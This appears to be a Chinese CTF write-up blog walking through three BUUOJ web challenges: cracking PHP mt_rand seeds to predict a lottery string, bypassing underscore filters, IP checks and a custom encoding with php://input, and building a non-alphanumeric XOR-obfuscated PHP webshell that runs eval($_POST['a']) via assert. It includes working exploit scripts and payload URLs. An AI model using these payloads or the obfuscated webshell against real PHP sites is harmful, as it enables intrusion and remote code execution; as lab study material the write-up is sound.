[BSidesCF 2019]Futurella 查看源码就有flag?
[GWCTF 2019]枯燥的抽奖 1 ULiwClayf<?php header("Content-Type: text/html;charset=utf-8" ); session_start(); if (!isset ($_SESSION['seed' ])){$_SESSION['seed' ]=rand(0 ,999999999 ); } mt_srand($_SESSION['seed' ]); $str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" ; $str='' ; $len1=20 ; for ( $i = 0 ; $i < $len1; $i++ ){ $str.=substr($str_long1, mt_rand(0 , strlen($str_long1) - 1 ), 1 ); } $str_show = substr($str, 0 , 10 ); echo "<p id='p1'>" .$str_show."</p>" ;if (isset ($_POST['num' ])){ if ($_POST['num' ]===$str){x echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>" ; } else { echo "<p id=flag>没抽中哦,再试试吧</p>" ; } } show_source("check.php" );
第一反应是写脚本爆破,但是感觉数字太大了,再看看其他地方也没其他线索主要是,
for ( $i = 0; $i < $len1; $i++ ){ $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1); }
总觉得这个加密函数有点搞头吧?看看有无漏洞
mt_rand漏洞。。还真有==https://xz.aliyun.com/t/31 https://www.anquanke.com/post/id/196831 https://www.freebuf.com/sectool/205240.html https://github.com/openwall/php_mt_seed脚本下载链接
思路: 1.由于我们得到的内容是经过处理的,所以我们要先还原才知道mt_rand生成了啥 2.知道mt_rand生成了啥以后获得其随机种子 3.获得随机种子在进行加密获得剩下的位数
str1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' str2='1ULiwClayf' str3 = str1[::-1 ] length = len(str2) res='' for i in range(0 ,9 ): for j in range(0 ,62 ): if str2[i] == str1[j]: res+=str(j)+' ' +str(j)+' ' +'0' +' ' +'61' +' ' //这个是使用php_mt_seed脚本爆破所需要的格式 print("*" *6 ) print(str2[i],str1[j]) break print(res)
27 27 0 61 56 56 0 61 47 47 0 61 8 8 0 61 22 22 0 61 38 38 0 61 11 11 0 61 0 0 0 61 24 24 0 61
脚本使用代码:
在目录下创建 make 然后使用time ./php_mt_seed 随机数
复制网页生成随机字符串代码,更改我们的种子然后输出
<?php mt_srand('408372545'); $str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; $str=''; $len1=20; for ( $i = 0; $i < $len1; $i++ ){ $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1); } print($str);
即可拿到flag
[MRCTF2020]套娃 查看源码
$query = $_SERVER['QUERY_STRING' ]; if ( substr_count($query, '_' ) !== 0 || substr_count($query, '%5f' ) != 0 ){ die ('Y0u are So cutE!' ); } if ($_GET['b_u_p_t' ] !== '23333' && preg_match('/^23333$/' , $_GET['b_u_p_t' ])){ echo "you are going to the next ~" ; } !-->
解析一下 得到以下几点信息: 1.传入数据不能有_且不能有%5f 2.需要传入b_u_p_t且值为不等于2333又需要买满足正则匹配式以23333结尾 so如何绕过?
php的字符串解析特性 1.寻找_的替代品
https://www.freebuf.com/articles/web/213359.html
这篇文章里有:可以是用以上字符:
2.绕过正则匹配,也是以上文章 说%0a会被转化为空,也可以绕过正则匹配,于是:
得到新提示
查看源码 看到jsfuck源码,f12控制台运行一下,说要post
拿到源码
<?php error_reporting(0); include 'takeip.php'; ini_set('open_basedir','.'); include 'flag.php'; if(isset($_POST['Merak'])){ highlight_file(__FILE__); die(); } function change($v){ $v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; } echo 'Local access only!'."<br/>"; $ip = getIp(); if($ip!='127.0.0.1') echo "Sorry,you don't have permission! Your ip is :".$ip; if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){ echo "Your REQUEST is:".change($_GET['file']); echo file_get_contents(change($_GET['file'])); } ?>
看到说还是需要ip进行绕过: ip读取有三种,一种是xff,一种client-ip还有一种是remote_addr这里我就用了client-ip就绕过了
使用PHP伪协议绕过字符串等于:
?2333=php://input post:todat is a happy day
接下来审计一下file的源码,如何加密:
<?php function change($v){ $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr (ord($v[$i])-$i*2); } $re = base64_encode($re); return $re; } $a='flag.php'; $flag=change($a); print($flag); //function change($v){ // $v = base64_decode($v); // $re = ''; // for($i=0;$i<strlen($v);$i++){ // $re .= chr ( ord ($v[$i]) + $i*2 ); // } // return $re; //} //$a='ZmpdYSZmXGI='; //$flag=change($a); //print($flag); //$a='1'; //print(chr(ord($a)));
最终payload:
?2333=php://input&file=ZmpdYSZmXGI=
[极客大挑战 2019]RCE ME <?php error_reporting(0 ); if (isset ($_GET['code' ])){ $code=$_GET['code' ]; if (strlen($code)>40 ){ die ("This is too Long." ); } if (preg_match("/[A-Za-z0-9]+/" ,$code)){ die ("NO." ); } @eval ($code); } else { highlight_file(__FILE__ ); }
本题给了源码,主要在于绕过正则匹配,如何构造?除了这些我们只剩下字符,所以如何用字符构造出字母呢?查到资料说是利用异或操作,写个python脚本跑一下看看都有啥字符:
import restr = r"~!@#$%^&*()_+<>?,.;:-[]{}\/" result="" print(chr(ord('!' )^ord('@' ))) for j in range(len(str)): for i in range(len(str)): result=chr(ord(str[j])^ord(str[i])) if re.match('[a-zA-Z0-9]+' ,result): print str[j]+"^" +str[i]+"=" +result print("\n" )
正则 re.findall 的简单用法(返回string中所有与pattern相匹配的全部字串,返回形式为数组) re.match(pattern,string),要匹配的内容,以及要从什么里面匹配 re.search,从什么里面搜索返回
构造一下payload:
`$GET['1']`; <^{=G >^{=E {^/=T \^;=g $_='<>{'^'{{/';//get \^,=p @^)=i (^@=h .^@=n ;^]=f /^@=o /^\=s /^[=t ~^!=_ }^-=P /^`=O ~^-=S '\(\@.;/'^',@,)@]@' $_='\(\@.;/'^',@,)@]@';$_();//phpinfo()
调试过程:使用pyhon脚本跑出字母以后,直接去取然后拼凑,异或操作可以合并进行异或,省事很多,打算要执行系统吗命令来着,但是啥也不执行不出来,去phpinfo里面查了一下发现是发现是disable_function禁用了很多函数,所以这里可以写shell进行disable_function插件的执行
<?php $_='~}/~{' ^'!-`-/' ; eval ($$_['a' ]);
payload:
http://90a70cb7-75d4-4059-b574-c59fe13eb0a2.node3.buuoj.cn/?code=$_='~<>{'^'!{{/';${$_}[_](${$_}[__]);&_=assert&__=eval($_POST['a'])//连续GET两个值,然后使用assert,这里用不了eval不知道为啥00,可能哪里不太符合php的格式,而assert对输入语句的格式要求没那么严格。
还有其他方法,https://www.smi1e.top/php%e4%b8%8d%e4%bd%bf%e7%94%a8%e6%95%b0%e5%ad%97%e5%ad%97%e6%af%8d%e5%92%8c%e4%b8%8b%e5%88%92%e7%ba%bf%e5%86%99shell/ 剩下的后面再好好看吧~有一说一,构造得我人都傻了– PS:调试eval的时候可以使用print先输出内容,或者使用phpinfo()执行,这样就可以得知eval到底能不能此语句!